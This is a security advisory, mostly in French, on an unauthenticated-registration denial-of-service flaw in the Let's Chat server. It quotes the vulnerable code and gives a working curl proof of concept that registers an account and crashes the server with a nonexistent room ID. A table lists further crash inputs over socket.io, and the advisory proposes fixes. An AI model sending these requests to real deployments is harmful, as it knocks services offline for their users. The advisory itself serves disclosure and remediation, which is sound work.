
Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)
Identifiant CVE attribué : CVE-2026-66749
Une seule requête HTTP provenant de n'importe quel compte connecté arrête le processus du serveur Let's Chat.
GET /messages prend un paramètre room, recherche ce salon par son identifiant, puis appelle une méthode
sur le résultat sans vérifier que la recherche a retourné quelque chose. Envoyez un identifiant qui est une
chaîne hexadécimale valide de 24 caractères mais qui n'appartient à aucun salon, et le TypeError résultant
est levé à l'intérieur d'un callback Mongoose. Express ne capture que les exceptions levées de manière synchrone à l'intérieur d'un
gestionnaire, donc celle-ci atteint Node comme une exception non capturée et le processus se termine.
URL du dépôt : https://github.com/sdelements/lets-chat
Vulnérable de la version 0.4.0 (commit 84981a6, 21 févr. 2015, qui a introduit l'appel canJoin)
jusqu'à la 0.4.8, la dernière version. Aucune version corrigée n'existe.
Confirmé sur la 0.4.8 au commit 617207f, et sur docker.io/sdelements/lets-chat:latest
(0.4.7), qui est toujours publiquement téléchargeable.
CWE-476 : Déférencement de pointeur NULL, menant à CWE-248 Exception non capturée et CWE-400 Consommation de ressources non contrôlée.
Score de base CVSS 4.0 : 7,1 (Élevé)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
L'attaquant a besoin d'un compte utilisateur ordinaire et d'un accès réseau au port HTTP. Il n'a pas besoin de posséder ou d'appartenir à un salon, de connaître un identifiant de salon existant, ni de détenir un rôle privilégié.
L'exigence de compte est faible dans une installation par défaut, car auth.local.enableRegistration
est défini sur true par défaut dans defaults.yml, donc toute personne pouvant atteindre la page de connexion peut créer un
compte puis exécuter la requête.
Ni le Procfile (web: npm start) ni docker/docker-compose.yml ne configurent un
superviseur ou une politique de redémarrage, donc sur un déploiement standard, une seule requête met le service hors
ligne jusqu'à ce qu'un opérateur le redémarre. Là où un opérateur a ajouté une supervision de processus, l'attaquant
peut simplement répéter la requête.
La route n'enregistre aucun middleware de validation de salon. app/controllers/messages.js:25-32 :
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Comparez avec app/controllers/messages.js:34-41, où la variante limitée au salon ajoute bien
middlewares.roomRoute, qui résout le salon et renvoie 404 lorsqu'il n'existe pas :
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Ainsi, sur /messages, la valeur room atteint le gestionnaire sans validation.
app/core/messages.js:118-129 :
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById rappelle avec (null, null) lorsque l'identifiant est correctement converti mais ne correspond à aucun
document. Il n'y a pas de garde if (!room), donc la ligne 129 déréférence null.
Sortie observée :
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Sur une installation standard sur le port 5000, sans modification de configuration :
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
L'étape 3 ne renvoie aucun corps de réponse et curl se termine avec le code 52 (réponse vide du serveur). Le processus serveur a disparu. Tout identifiant composé de 24 caractères hexadécimaux et ne correspondant à aucun salon fonctionne.
express.oi enregistre chaque clé app.io.route(...) comme un simple gestionnaire socket.on(...)
(initRoutes dans node_modules/express.oi/lib/index.js). Un client socket.io authentifié
peut donc appeler directement ces gestionnaires, ce qui contourne la chaîne de middlewares Express,
y compris roomRoute. Cela supprime également le try/catch d'Express, donc une levée synchrone qui serait
une 500 sur HTTP tue le processus via socket.io.
Chacun des cas suivants termine également le processus. Tous ont été confirmés.
Protégez les recherches. Dans app/core/messages.js:118 et app/core/files.js:156 :
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 nécessite le même traitement avant d'appeler sanitizeRoom, et
app/core/rooms.js:248 devrait rejeter un options.identifier manquant ou non chaîne.
Deux modifications fermeraient toute la classe de défauts plutôt que ces seules occurrences. Premièrement, contraindre et
valider les paramètres de requête supposés être des chaînes (expand, room, id,
take, skip) à la frontière du contrôleur. Deuxièmement, envelopper la distribution des gestionnaires socket.io dans
un try/catch et attacher un gestionnaire process.on('uncaughtException') afin qu'une seule requête erronée
dégrade en réponse d'erreur au lieu d'arrêter le serveur.
| Accessible via | Entrée | Site de déclenchement |
|---|
| HTTP et socket.io | messages:list, room défini sur un identifiant inexistant | app/core/messages.js:129 |
| HTTP et socket.io | files:list, room défini sur un identifiant inexistant | app/core/files.js:167 |
| socket.io | rooms:get avec un identifiant inexistant, ou sans identifiant | app/core/rooms.js:213 via :234 |
| socket.io | rooms:users sans salon | app/core/rooms.js:248 |
| socket.io | rooms:join sans identifiant | app/core/rooms.js:248 |
| socket.io | messages:list avec expand sous forme de tableau | app/core/messages.js:97 |
| socket.io | files:list avec expand sous forme de tableau | app/core/files.js:139 |
| socket.io | users:get avec id sous forme d'objet | app/models/user.js:139 |